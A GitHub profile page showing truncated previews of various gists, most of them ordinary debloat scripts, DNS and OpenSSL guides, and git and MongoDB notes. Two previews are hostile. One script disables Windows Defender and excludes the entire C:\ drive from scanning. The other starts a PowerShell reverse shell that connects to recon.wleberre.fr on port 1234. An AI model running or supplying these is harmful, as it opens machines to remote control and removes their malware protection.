Skip to content

Instantly share code, notes, and snippets.

View lucaam's full-sized avatar
🏠
Working from home

Luca Amoriello lucaam

🏠
Working from home
View GitHub Profile
@0x4f53
0x4f53 / tcl_debloater.sh
Last active July 20, 2025 03:48
TCL TV debloater. I've tried making it as close to stock Android TV as possible without messing up too many core features of Android TV.
#!/bin/bash
bloat=()
bloat+=("com.tcl.partnercustomizer")
bloat+=("com.tcl.smartalexa") # Alexa integration for tv controls
bloat+=("com.tcl.gallery") # Gallery app
bloat+=("com.tcl.notereminder") # Notes and reminders app
bloat+=("com.google.android.videos") # Google Play Movies and TV (Doesn't get rid of homescreen recommendations)
bloat+=("com.google.android.play.games") # Google Play Games
@font-face {
font-family: 'Product Sans';
src: url('data:application/octet-stream;base64,d09GMgABAAAAADREAA8AAAAApUQAADPjAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGjwb9DYcjxoGYACDWhEQCoGiNP9lC4Q6AAE2AiQDiHAEIAWFdAeIfRuxkDXjmKV4HACcLfHIQG5HpCLE8yMRwsZBxoY9zf7/rwl0jOGpAaJZGYIgVFYmWM60pMNiAJZldgli2bayMuxhyKPbgVyWCkOAxPHqqV78H+5GbcO/zzlj5JYbXe51wVER4z9y3+lvQxW32bUe0WV5xqVLgsYfjjm0OJ0hfo3k+jOwbeRPcvLyPO/Yl/clf2YZQQKA0FRANrrVJPdUAsnKaQ7IzRp00020g2Ah2LEhIKCglIW+KEgRcFUsFUvHGk03rZlmajG1m1yMid4nd5d0k9zlamq98uBkjMGfZpU6kM1iJk7UvSp4ejjZu/trkwSixTBIEvAfAQXw3+AHn1UD4CinOWM4mJGKxHFod0e20jo5X6JcVWJ/pK/0LVB6xQBwiQMC/597d3915TXWPN6JFwaUTYrjPUADziSza+JJ7M8wHpfLlZfIJPISeYlMIpWTyknlpP87Z9sRCzlhlv4AXdQx2iJkLyVE5ZZlgHe7SeffptrxzhDgqwpuJvvl3QvwsBVo6rIAv/3r/5NP/77PIFkRheW86IxnOWAFrVOcd5KjAMoBRilhwwsQT8WxPALB3NcJ9w5btxWHrcM6tH457aUppQzPhPBeGfDtW9+O5bNTC2sF0C+tJft6WuVBJBiH4QBmJR0Gx//a79Xm5rwTpM1MJKAzG+c+0MuG+AaQCgjCtOPr6+qRXWVdjanz9WW9ri9htE4gYrqQjyniunrWr71q8xaV5KpSOY/aMRyHdxCWN6TVL5NSd8Oq1UK7e3fzlqH3iwyliAQJIUgIQbLPMTaLCrfGKfT
@sarthakpranesh
sarthakpranesh / cleanMacVMs.sh
Last active July 25, 2025 04:33
Debloat Mac OS ( use at your own risk )
# I use MacOS VMs from github for iOS development.
# By no suprise they are a bit slow and have a lot of things I don't use
# Hence this script for lighter and better VM for my iOS development and builds
# GUI and animation related things to tweak
defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false
defaults write NSGlobalDomain NSWindowResizeTime -float 0.001
defaults write -g QLPanelAnimationDuration -float 0
defaults write com.apple.dock autohide-time-modifier -float 0
defaults write com.apple.dock launchanim -bool false
sudo sysctl debug.lowpri_throttle_enabled=0
@mansouryaacoubi
mansouryaacoubi / Readme.md
Last active November 14, 2024 11:25
Duck DNS DNS Settings

Guide How To use custom domain with Duck DNS: home-assistant/addons#1331 (comment)

Let us imagine the following:

You have a domain example.duckdns.org and you have the domain example.com and want to access your home assistant via home.example.com.

Short Guide

  1. Set CNAME records for your domain: *.home and home pointing to example.duckdns.org
  2. Install or Reinstall the DuckDNS Addon on your home assistant instance.
  3. Set your addon config and leave out your alias for this step
@Hakky54
Hakky54 / openssl_commands.md
Last active July 28, 2025 02:28 — forked from p3t3r67x0/openssl_commands.md
OpenSSL Cheat Sheet

OpenSSL Cheat Sheet 🔐

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl
@coltenkrauter
coltenkrauter / fix-wsl2-dns-resolution.md
Last active August 2, 2025 10:53
Fix DNS resolution in WSL2

Permanent WSL DNS Fix (WSL 2.2.1+)

If you're encountering ping github.com failing inside WSL with a Temporary failure in name resolution, you're not alone — this has been a long-standing issue, especially when using VPNs or corporate networks.

This issue is now fixed robustly with DNS tunneling, which preserves dynamic DNS behavior and avoids limitations like WSL’s former hard cap of 3 DNS servers in /etc/resolv.conf.

DNS tunneling is enabled by default in WSL version 2.2.1 and later, meaning that if you're still seeing DNS resolution issues, the first and most effective fix is simply to upgrade WSL. Upgrading WSL updates the WSL platform itself, but does not affect your installed Linux distributions, apps, or files.

To upgrade WSL, follow these steps,

@Iristyle
Iristyle / disable-windows-defender.ps1
Created October 11, 2019 20:28
Disable Windows Defender
# must be run as an admin
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\' -Name DisableAntiSpyware -Value 1
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\' -Name DisableRoutinelyTakingAction -Value 1
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\' -Name ServiceKeepAlive -Value 0
New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'Exclusions' -ErrorAction Ignore
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions' -Name 'Exclusions_Paths' -Value 1
New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions' -Name Paths -ErrorAction Ignore
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'Complete Drive' -Value 'C:\'
@mrnabati
mrnabati / gitSolutions.md
Last active December 27, 2024 00:28
Common Git problems (and solutions!)

Working with submodules in your repository

  • Create the submodule:

    git submodule add -b master <[email protected]:MYSUBMODULE.git> <path/to/MYSUBMODULE>

    This creates the submodule and makes it track submodule's master branch. You can change the branch name if you want to track a different branch.

  • Change some settings. In the parent repo:

    # make it so that git status will include changes to submodules.
$socket = new-object System.Net.Sockets.TcpClient('recon.wleberre.fr', 1234);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("> ");
$writer.Flush();
$read = $null;
@harveyconnor
harveyconnor / a-mongodb-replica-set-docker-compose-readme.md
Last active April 29, 2025 21:20
MongoDB Replica Set / docker-compose / mongoose transaction with persistent volume

This will guide you through setting up a replica set in a docker environment using.

  • Docker Compose
  • MongoDB Replica Sets
  • Mongoose
  • Mongoose Transactions

Thanks to https://gist.github.com/asoorm for helping with their docker-compose file!